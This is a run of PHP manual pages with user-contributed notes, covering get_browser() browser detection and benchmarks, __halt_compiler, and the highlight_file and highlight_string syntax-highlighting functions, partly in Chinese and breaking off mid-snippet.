Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0

Sinergi Package
---------------
Firefox 57.0 on Windows 10.0
Took 0.0023159980773926 seconds.
---------------

WhichBrowser Package
---------------
Firefox 57.0 on Windows 10
Took 0.019663095474243 seconds.
---------------

Piwik Package
---------------
Firefox 57.0 on Windows 10
Took 0.079678058624268 seconds.
---------------

get_browser Package
---------------
Firefox 57.0 on Windows 10
Took 0.02236008644104 seconds.
---------------

The consistent winner (by speed, not necessarily coverage) by far is:
https://github.com/sinergi/php-browser-detector
krozinov at gmail dot com 26-Dec-2017 04:19
As of PHP 7.0.15 and 7.1.1 and higher, get_browser() now performs much better - reportedly 100x faster.  The Changelog, bug description, and solution are here:

http://php.net/ChangeLog-7.php (search for get_browser())
https://bugs.php.net/bug.php?id=70490
https://github.com/php/php-src/pull/2242
The Digital Orchard 20-Jan-2017 09:39
Good news! The latest version of PHP has a performance fix for this function. It's reportedly now 100x faster. See the ChangeLog for specifics.
zed 07-Sep-2016 10:20
To complete Francesco R, I added the version of the navigator :

function getNavigateur($user_agent)
    {

        if(empty($user_agent)) {
            return array('nav' => 'NC', 'name' => 'NC', 'version' => 'NC');
        }

        $content_nav['name'] = 'Unknown';

        if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) {

            $content_nav['name'] = 'Opera';

            if (strpos($user_agent, 'OPR/')) {
                $content_nav['reel_name'] = 'OPR/';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }
        elseif (strpos($user_agent, 'Edge')) {
            $content_nav['name'] = $content_nav['reel_name'] = 'Edge';
        }
        elseif (strpos($user_agent, 'Chrome')) $content_nav['name'] = $content_nav['reel_name'] = 'Chrome';
        elseif (strpos($user_agent, 'Safari')) $content_nav['name'] = $content_nav['reel_name'] = 'Safari';
        elseif (strpos($user_agent, 'Firefox')) $content_nav['name'] = $content_nav['reel_name'] = 'Firefox';
        elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7') || strpos($user_agent, 'Trident/7.0; rv:')) {
            $content_nav['name'] = 'Internet Explorer';

            if (strpos($user_agent, 'Trident/7.0; rv:')) {
                $content_nav['reel_name'] = 'Trident/7.0; rv:';
            } elseif (strpos($user_agent, 'Trident/7')) {
                $content_nav['reel_name'] = 'Trident/7';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }

        $pattern = '#' . $content_nav['reel_name'] . '\/*([0-9\.]*)#';

        $matches = array();

        if(preg_match($pattern, $user_agent, $matches)) {

            $content_nav['version'] = $matches[1];
            return $content_nav;

        }

        return array('name' => $content_nav['name'], 'version' => 'Inconnu');
    }
Francesco R 14-May-2016 01:52
If you ONLY need a very fast and simple function to detect the browser name (update to May 2016):

<?php

function get_browser_name($user_agent)
{
    if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) return 'Opera';
    elseif (strpos($user_agent, 'Edge')) return 'Edge';
    elseif (strpos($user_agent, 'Chrome')) return 'Chrome';
    elseif (strpos($user_agent, 'Safari')) return 'Safari';
    elseif (strpos($user_agent, 'Firefox')) return 'Firefox';
    elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7')) return 'Internet Explorer';

    return 'Other';
}

// Usage:

echo get_browser_name($_SERVER['HTTP_USER_AGENT']);

?>

This function also resolves the trouble with Edge (that contains in the user agent the string "Safari" and "Chrome"), with Chrome (contains the string "Safari") and IE11 (that do not contains 'MSIE' like all other IE versions).

Note that "strpos" is the fastest function to check a string (far better than "preg_match") and Opera + Edge + Chrome + Safari + Firefox + Internet Explorer are the most used browsers today (over 97%).
Anonymous 12-Jan-2016 02:37
This function is too slow for todays needs.

If you need browser / device / operating system detection, please try one of listed packages here: https://github.com/ThaDafinser/UserAgentParser
p2 at eduardoruiz dot es 12-Jan-2016 12:58
BE CAREFUL WITH THIS FUNCTION!!
This function uses a lot of CPU and RAM on the whole server resources.
Perhaps if you use this function a few times then no problem, but NOT if you use at any page request, or once per session.

Also, this function doesn't work correctly and may returns wrong values, wildcards or empty, so it's not very useful for web statistics.

The best way is to use preg_match for detect browser/platform.
jeremie dot legrand at komori-chambon dot fr 16-Dec-2015 04:28
Be careful if you use the "Full" Browscap INI file in your php.ini config: I wondered why each Apache thread took 350MB RAM on my server until I changed the "Full" version by the "Lite" one (45MB to 0.7MB)

Now, each thread takes only 16MB...
So if it is enough for you, use the Lite version!
shashank 17-Jun-2015 06:17
As ruudrp had given the code http://php.net/manual/en/function.get-browser.php#101125, I have added code for Internet Explorer 11

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Trident/i',$u_agent))
    { // this condition is for IE11
        $bname = 'Internet Explorer';
        $ub = "rv";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    // Added "|:"
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
     ')[/|: ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
tim at digicol dot de 22-May-2014 01:01
Be aware that loading php_browscap.ini via the browscap php.ini setting may consume a non-trivial amount of memory. Current versions are several MB in size (even the "lite" one) and can eat tens of MB of RAM in each PHP process. This happens even if you never call get_browser() since php_browscap.ini is loaded when PHP is starting up.

Make sure to leave the browscap php.ini setting empty if you don't use get_browser() - maybe you only call it only from PHP Web pages, but not from PHP CLI code.

I'd recommend comparing your processes' memory consumption with and without php_browscap.ini being loaded. If necesseray, consider creating your own stripped-down copy of php_browscap.ini with just the browsers that are important to you.
Anonymous 11-Jul-2011 06:52
For those of you using this function to target MSIE, a better idea maybe to use MSIE specific conditional comments. More info: <http://msdn.microsoft.com/en-us/library/ms537512%28VS.85%29.aspx>.

For example to indicate your disregard for users of MSIE 6 or earlier:

<!--[if lt IE 7]>It appears that you are using a <em>very</em> old version of MS Internet Explorer (MSIE). If you seriously want to continue to use MSIE, at least <a href="http://www.microsoft.com/windows/internet-explorer/">upgrade</a>.<![endif]-->
ruudrp at live dot nl 28-Nov-2010 03:31
To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version.

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
mike at mike-griffiths dot co dot uk 23-Jul-2007 02:41
You should not rely on just this for cross-browser compatibility issues.  Good practice would be to include HTML if-statements for IE stylesheets as well as dynamically checking the browser type.
max at phpexpert dot de 26-Mar-2004 07:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.


中断编译器的执行

  • ? get_browser
  • highlight_file ?
  • PHP Manual
  • 杂项 函数
  • 中断编译器的执行

__halt_compiler

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

__halt_compiler — 中断编译器的执行

说明

__halt_compiler(): void

中断编译器的执行。常用于在 PHP 脚本内嵌入数据，类似于安装文件。

可以通过常量 __COMPILER_HALT_OFFSET__ 获取数据开始字节所在的位置，且该常量仅被定义于使用了 __halt_compiler() 的文件。

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 __halt_compiler() 例子

<?php

// open this file
$fp = fopen(__FILE__, 'r');

// seek file pointer to data
fseek($fp, __COMPILER_HALT_OFFSET__);

// and output it
var_dump(stream_get_contents($fp));

// the end of the script execution
__halt_compiler(); the installation data (eg. tar, gz, PHP, etc.)

注释

Note:

__halt_compiler() 仅能够在最外层作用域使用。

User Contributed Notes

alex at 1stleg dot com 02-Feb-2020 07:51
Please note that __HALT_COMPILER() must be uppercase if used from a pharstub: https://www.php.net/manual/en/phar.fileformat.stub.php
ravenswd at gmail dot com 15-Feb-2016 07:31
If "__halt_compiler();" appears in a file which is "include"d or "require"d, then the called-in file will be treated as if it physically cuts off at the "__halt_compiler();". In other words, "__halt_compiler();" only affects the physical file it's in, an outer file that pulls it in will continue to execute.
cwk32 at mail dot ustc dot edu dot cn 23-Feb-2015 03:11
if you find the value of __COMPILER_HALT_OFFSET__ is highly strange. Maybe...

there are some complier optimization tools, like eAccelator(very old). When the program is pre-complied and cached, the __COMPILER_HALT_OFFSET__ will be 0 = =
Krzysiek 14-Jul-2014 09:41
Joey, you're wrong saying that __halt_compiler have strange behavior. This structure works exactly the same as any other build in structure like empty or isset (even similarly to functions; at least in tokenizer level).

About T_OPEN_TAG - after one open tag is present you didn't expect other one in current php code section, so tokenizer try to handle this "thing" in other way and it's perfectly normal...
joey at gimo dot co dot uk 25-May-2014 04:10
I don't exactly know what PHP is doing internally but I don't understand the sanity behind how in token_get_all __halt_compiler is handled.

This is actually valid there:
__halt_compiler/**/ /**/ /**/ /**/ /** */();raw

Normally it pops off just any three tokens so you can have even __halt_compiler***, __halt_compiler))), etc in token _get all.

The weird thing is that is also skips T_OPEN_TAG but in the context __halt_compiler runs in this tag should not be posible. Instead it will pick up < and ? as operators and php as a T_STRING.

It ignores the token at any point so this is also valid:
__halt_compiler()/**/ /**/ /**/ /**/ /** */;raw

When I test this with a php file rather than the tokeniser it works the same.

I can only conclude that PHP/__halt_compiler is pretty weird.

I think this is from attempting to weakly imitate the same syntax handling as in functions (I guess you can put comments/whitespace anywhere). I find it annoying and counter productive though.

Even this is valid:
__halt_compiler// comment\n();raw

A general problem that compound matters is that tokenise wont check whether or not syntax is valid (tokens against each other). When running as PHP you must have ();.
-T- 22-Oct-2013 05:16
This function can be used in eval() -- it will halt the eval, but not the script eval"() was called in.
ravenswd at gmail dot com 29-Jun-2010 06:16
__halt_compiler is also useful for debugging. If you need to temporarily make a change that will introduce an error later on, use __halt_compiler to prevent syntax errors. For example:

<?php
if ( $something ):
  print 'something';
endif;   // endif placed here for debugging purposes
__halt_compiler();
endif;   // original location of endif -- would produce syntax error if __halt_compiler was not there
?>


语法高亮一个文件

  • ? __halt_compiler
  • highlight_string ?
  • PHP Manual
  • 杂项 函数
  • 语法高亮一个文件

highlight_file

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_file — 语法高亮一个文件

说明

highlight_file(string $filename, bool $return = false): string|bool

使用 PHP 内置的语法高亮器所定义的颜色，打印输出或者返回 filename 文件中语法高亮版本的代码。

许多服务器配置了自动高亮 phps 扩展的文件。比如，访问 example.phps 会显示语法高亮后的文件。添加以下一行代码到 httpd.conf 使此生效：

AddType application/x-httpd-php-source .phps

参数

filename

欲高亮文件的路径。

return

设置该参数为 true 使函数返回高亮后的代码。

返回值

如果 return 设置为 true，高亮后的代码不会被打印输出，而是以字符串的形式返回。高亮成功返回 true，否则返回 false。

注释

Caution

应当注意在使用 highlight_file() 时，确认没有在不经意间泄漏敏感信息，类似密码或者其他任何具有潜在安全风险的信息。

Note:

当使用了return 参数时，本函数使用其内部输出缓冲，因此不能在 ob_start() 回调函数的内部使用。

参见

  • highlight_string() - 字符串的语法高亮
  • 高亮 INI 指令

User Contributed Notes

csst0266 at cs dot uoi dot gr 13-Aug-2004 09:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.


字符串的语法高亮

  • ? highlight_file
  • hrtime ?
  • PHP Manual
  • 杂项 函数
  • 字符串的语法高亮

highlight_string

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_string — 字符串的语法高亮

说明

highlight_string(string $string, bool $return = false): string|bool

使用 PHP 内置的语法高亮器所定义的颜色，打印输出或者返回输出或者返回语法高亮版本的 PHP 代码。

参数

string

需要高亮的 PHP 代码，应当包含开始标签。

return

设置该参数为 true 使函数返回高亮后的代码。

返回值

如果 return 设置为 true，高亮后的代码不会被打印输出，而是以字符串的形式返回。 高亮成功返回 true，否则返回 false。

示例

Example #1 highlight_string() 例子

<?php
highlight_string('<?php phpinfo(); ?>');
?>

以上示例会输出：

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

注释

Note:

当使用了return 参数时，本函数使用其内部输出缓冲，因此不能在 ob_start() 回调函数的内部使用。

产生的 HTML 标记可能会有更改。

参见

  • highlight_file() - 语法高亮一个文件
  • 高亮 INI 指令

User Contributed Notes

will at lolcat dot ca 04-Jul-2023 02:00
Here is the best way to highlight code if you want classes instead of inline styles:

<?php
function highlightcode($text){

    ini_set("highlight.comment", "c-comment");
    ini_set("highlight.default", "c-default");
    ini_set("highlight.html", "c-default");
    ini_set("highlight.keyword", "c-keyword");
    ini_set("highlight.string", "c-string");

    $text =
        trim(
            str_replace(
                '<br />',
                "\n", // replace <br> with newlines
                str_replace(
                    [
                        // leading <?php garbage
                        "<span style=\"color: c-default\">\n&lt;?php&nbsp;",
                        "<code>",
                        "</code>"
                    ],
                    "",
                    highlight_string("<?php " . $text, true)
                )
            )
        );

    // replace colors
    $classes = ["c-comment", "c-default", "c-keyword", "c-string"];

    foreach($classes as $class){

        $text = str_replace('<span style="color: ' . $class . '">', '<span class="' . $class . '">', $text);
    }

    return $text;
}
?>

Generates output that looks like this:

<span class="c-keyword">if(</span>condition<span class="c-keyword">){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span class="c-string">"HTML&nbsp;here"</span><span class="c-keyword">;
}</span>

Hope this helps.
pyetrosafe at gmail dot com 19-Jan-2019 07:11
I read the note from "stanislav dot eckert at vizson dot de" and I really enjoyed the function he created.
For my use I made some adaptations leaving the function more practical and allowing the passage and multiple parameters at a time, I also modified the style of the <code> element with a black background and margins.

<?php

// Combined of the highlight_string and var_export
function hl_export()
{
    try {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#FFFFFF");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0099FF; font-weight: bold");
        ini_set("highlight.string", "#99FF99");

        $vars = func_get_args();

        foreach ( $vars as $var ) {
            $output = var_export($var, true);
            $output = trim($output);
            $output = highlight_string("<?php " . $output, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
            $output = preg_replace("|\\<code\\>|", "<code style='background-color: #000000; padding: 10px; margin: 10px; display: block; font: 12px Consolas;'>", $output, 1);  // edit prefix
            $output = preg_replace("|(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $output);  // remove custom added "<?php "
            echo $output;
        }
    } catch (Exception $e) {
        echo $e->getMessage();
    }
}

// Debug multiple vars at once.
$var1 = 'Example String';
$var2 = 1987;
$var3 = null;
$var4 = true;
$var5 = array('Array', '05', 05, false, null);

hl_export( $var1, $var2, $var3, $var4, $var5 );
?>
stanislav dot eckert at vizson dot de 26-Dec-2015 03:50
You can change the colors of the highlighting, like this:

<?php
ini_set("highlight.comment", "#008000");
ini_set("highlight.default", "#000000");
ini_set("highlight.html", "#808080");
ini_set("highlight.keyword", "#0000BB; font-weight: bold");
ini_set("highlight.string", "#DD0000");
?>

Like you see in the example above, you can even add additional styles like bold text, since the values are set directly to the DOM attribute "style".

Also, this function highlights only text, if it begins with the prefix "<?php". But this function can highlight other similar formats too (not perfectly, but better than nothing), like HTML, XML, C++, JavaScript, etc. I use following function to highlight different file types and it works quite good:

<?php
function highlightText($text)
{
    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>

Note, that it will remove the <code> tag too, so you get the formatted text directly, which gives you more freedom to work with the result.

I personally suggest to combine both things to have a nice highlighting function for different file types with different highlight coloring sets:

<?php
function highlightText($text, $fileExt="")
{
    if ($fileExt == "php")
    {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#000000");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0000BB; font-weight: bold");
        ini_set("highlight.string", "#DD0000");
    }
    else if ($fileExt == "html")
    {
        ini_set("highlight.comment", "green");
        ini_set("highlight.default", "#CC0000");
        ini_set("highlight.html", "#000000");
        ini_set("highlight.keyword", "black; font-weight: bold");
        ini_set("highlight.string", "#0000FF");
    }
    // ...

    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>
stanislav dot eckert at vizson dot de 11-May-2015 03:18
The documentation says for the first parameter "The PHP code to be highlighted. This should include the opening tag. ". But it seems that the code should not only but *must* start with PHP's opening tag or otherwise the function will still modify but will not highlight the code.
joshuaeasy4u at gmail dot com 17-Sep-2013 09:19
<?php
function printCode($source_code)
{
if ( is_array($source_code))
return false;
$source_code=explode("\n",str_replace(array("\r\n","\r"),"\n",$source_code));
$line_count=1;
foreach ( $source_code as $code_line)
{
$formatted_code .='<tr><td>'.$line_count.'</td>';
$line_count++;
if ( ereg('<\?(php)?[^[:graph:]]',$code_line))
$formatted_code.='<td>'.str_replace(array('<code>','</code>'),'',highlight_string($code_line,true)).'</td></tr>';
else
$formatted_code .='<td>'.ereg_replace('(&lt;\?php&nbsp;)+','',str_replace(array('<code>','</code>'),'',highlight_string('<?php '.$code_line,true))).'</td></tr>';
}
return '<table style="font: 1em Consolas, \'andale mono\', \' monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
}
?>
Mean^_^ 18-Apr-2009 09:45
[EDIT BY danbrown AT php DOT net: The following note contains a user-supplied version of a syntax highlighter.]

<style type="text/css">
.linenum{
    text-align:right;
    background:#FDECE1;
    border:1px solid #cc6666;
    padding:0px 1px 0px 1px;
    font-family:Courier New, Courier;
    float:left;
    width:17px;
    margin:3px 0px 30px 0px;
    }

code    {/* safari/konq hack */
    font-family:Courier New, Courier;
}

.linetext{
    width:700px;
    text-align:left;
    background:white;
    border:1px solid #cc6666;
    border-left:0px;
    padding:0px 1px 0px 8px;
    font-family:Courier New, Courier;
    float:left;
    margin:3px 0px 30px 0px;
    }

br.clear    {
    clear:both;
}

</style>
<?php

 function printCode($code, $lines_number = 0)    {

         if (!is_array($code)) $codeE = explode("\n", $code);
        $count_lines = count($codeE);

        $r1 = "Code:<br />";

         if ($lines_number){
                $r1 .= "<div class=\"linenum\">";
                foreach($codeE as $line =>$c) {
                    if($count_lines=='1')
                        $r1 .= "1<br>";
                    else
                        $r1 .= ($line == ($count_lines - 1)) ? "" :  ($line+1)."<br />";
                 }
                 $r1 .= "</div>";
         }

         $r2 = "<div class=\"linetext\">";
         $r2 .= highlight_string($code,1);
         $r2 .= "</div>";

        $r .= $r1.$r2;

        echo "<div class=\"code\">".$r."</div>\n";
    }

    printCode('<?php echo "PHP Code" ?>    ',1);
?>

by mean
Share idea.
good luck ^_^
Dmitry S 24-Jul-2008 01:38
Alternative XML syntax highlighting.

<?php
function xml_highlight($s)
{
    $s = htmlspecialchars($s);
    $s = preg_replace("#&lt;([/]*?)(.*)([\s]*?)&gt;#sU",
        "<font color=\"#0000FF\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([\?])(.*)([\?])&gt;#sU",
        "<font color=\"#800000\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([^\s\?/=])(.*)([\[\s/]|&gt;)#iU",
        "&lt;<font color=\"#808000\">\\1\\2</font>\\3",$s);
    $s = preg_replace("#&lt;([/])([^\s]*?)([\s\]]*?)&gt;#iU",
        "&lt;\\1<font color=\"#808000\">\\2</font>\\3&gt;",$s);
    $s = preg_replace("#([^\s]*?)\=(&quot;|')(.*)(&quot;|')#isU",
        "<font color=\"#800080\">\\1</font>=<font color=\"#FF00FF\">\\2\\3\\4</font>",$s);
    $s = preg_replace("#&lt;(.*)(\[)(.*)(\])&gt;#isU",
        "&lt;\\1<font color=\"#800080\">\\2\\3\\4</font>&gt;",$s);
    return nl2br($s);
}
?>
fsx dot nr01 at gmail dot com 13-Jun-2008 09:22
Here is an improved version of the code highlighter w/ linenumbers from 'vanessaschissato at gmail dot com' - http://nl.php.net/manual/en/function.highlight-string.php#70456

<?php

    function printCode($source_code)
    {

        if (is_array($source_code))
            return false;

        $source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", $source_code));
        $line_count = 1;

        foreach ($source_code as $code_line)
        {
            $formatted_code .= '<tr><td>'.$line_count.'</td>';
            $line_count++;

            if (ereg('<\?(php)?[^[:graph:]]', $code_line))
                $formatted_code .= '<td>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</td></tr>';
            else
                $formatted_code .= '<td>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</td></tr>';
        }

        return '<table style="font: 1em Consolas, \'andale mono\', \'monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
    }

?>
Dobromir Velev 27-May-2008 04:04
Here is an improved version of Dimitry's xml_highlight function.
I fixed a bug which replaced the first character of the tags name,
and added a line to replace the tabs and spaces with
non-breaking space symbols to keep the identation.

<?
function xml_highlight($s){
  $s = preg_replace("|<([^/?])(.*)\s(.*)>|isU", "[1]<[2]\\1\\2[/2] [5]\\3[/5]>[/1]", $s);
  $s = preg_replace("|</(.*)>|isU", "[1]</[2]\\1[/2]>[/1]", $s);
  $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]", $s);
  $s = preg_replace("|\=\"(.*)\"|isU", "[6]=[/6][4]\"\\1\"[/4]",$s);
  $s = htmlspecialchars($s);
  $s = str_replace("\t","&nbsp;&nbsp;",$s);
  $s = str_replace(" ","&nbsp;",$s);
  $replace = array(1=>'0000FF', 2=>'0000FF', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
  foreach($replace as $k=>$v) {
    $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU", "<font color=\"#".$v."\">\\1</font>", $s);
  }

  return nl2br($s);
}
?>
Dmitry S 12-May-2008 06:29
The simple XML syntax highlighting.

<?php
function xml_highlight($s)
{
     $s = preg_replace("|<[^/?](.*)\s(.*)>|isU","[1]<[2]\\1[/2] [5]\\2[/5]>[/1]",$s);
     $s = preg_replace("|</(.*)>|isU","[1]</[2]\\1[/2]>[/1]",$s);
     $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]",$s);
     $s = preg_replace("|\=\"(.*)\"|isU","[6]=[/6][4]\"\\1\"[/4]",$s);
     $s = htmlspecialchars($s);
     $replace = array(1=>'0000FF', 2=>'808000', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
     foreach($replace as $k=>$v)
     {
          $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU","<font color=\"".$v."\">\\1</font>",$s);
     }
    return nl2br($s);
}
?>
Daniel 20-Feb-2008 02:49
Well, Just a little something I wrote which highlights an HTML code...It'll be going through many changes in the next few days.... until then =) enjoy

<?php
/*************************************\
 CODE PANE 1.0 - SILVERWINGS - D. Suissa
\*************************************/

class HTMLcolorizer{
    private $pointer = 0; //Cursor position.
    private $content = null; //content of document.
    private $colorized = null;
    function __construct($content){
        $this->content = $content;
    }
    function colorComment($position){
        $buffer = "&lt;<span class='HTMLComment'>";
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            $buffer.= $this->content[$position];
        }
        $buffer .= "</span>&gt;";
        $this->colorized .= $buffer;
        return $position;
    }
    function colorTag($position){
        $buffer = "&lt;<span class='tagName'>";
        $coloredTagName = false;
        //As long as we're in the tag scope
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            if($this->content[$position] == " " && !$coloredTagName){
                $coloredTagName = true;
                $buffer.="</span>";
            }else if($this->content[$position] != " " && $coloredTagName){
                //Expect attribute
                $attribute = "";
                //While we're in the tag
                for(;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
                    if($this->content[$position] != "="){
                        $attribute .= $this->content[$position];
                    }else{
                        $value="";
                        $buffer .= "<span class='tagAttribute'>".$attribute."</span>=";
                        $attribute = ""; //initialize it
                        $inQuote = false;
                        $QuoteType = null;
                        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != " "  ;$position++){
                            if($this->content[$position] == '"' || $this->content[$position] == "'"){
                                $inQuote = true;
                                $QuoteType = $this->content[$position];
                                $value.=$QuoteType;
                                //Read Until next quotation mark.
